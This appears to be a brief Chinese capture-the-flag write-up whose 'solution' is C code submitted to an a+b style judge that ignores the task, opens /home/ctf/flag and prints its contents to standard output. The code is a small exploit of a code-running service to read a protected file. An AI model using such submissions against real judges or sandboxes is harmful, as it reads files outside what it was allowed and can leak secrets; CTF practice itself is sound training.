一道送分题
就不多写分析了。。。直接贴题解
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
int a, b;
scanf("%d %d", &a, &b);
//printf("%d\n", a + b +1);
int fd=open("/home/ctf/flag", O_RDONLY);
char flag[200];
memset(flag,0,sizeof(flag));
read(fd,flag,200);
int fd2=open("/home/ctf/templates/flag.txt",O_RDWR|O_CREAT);
write(1,flag,200);
/*scanf("%d", &a);*/
return 0;
}
访问提交就行了


flag为动态

1089

被折叠的 条评论
为什么被折叠?



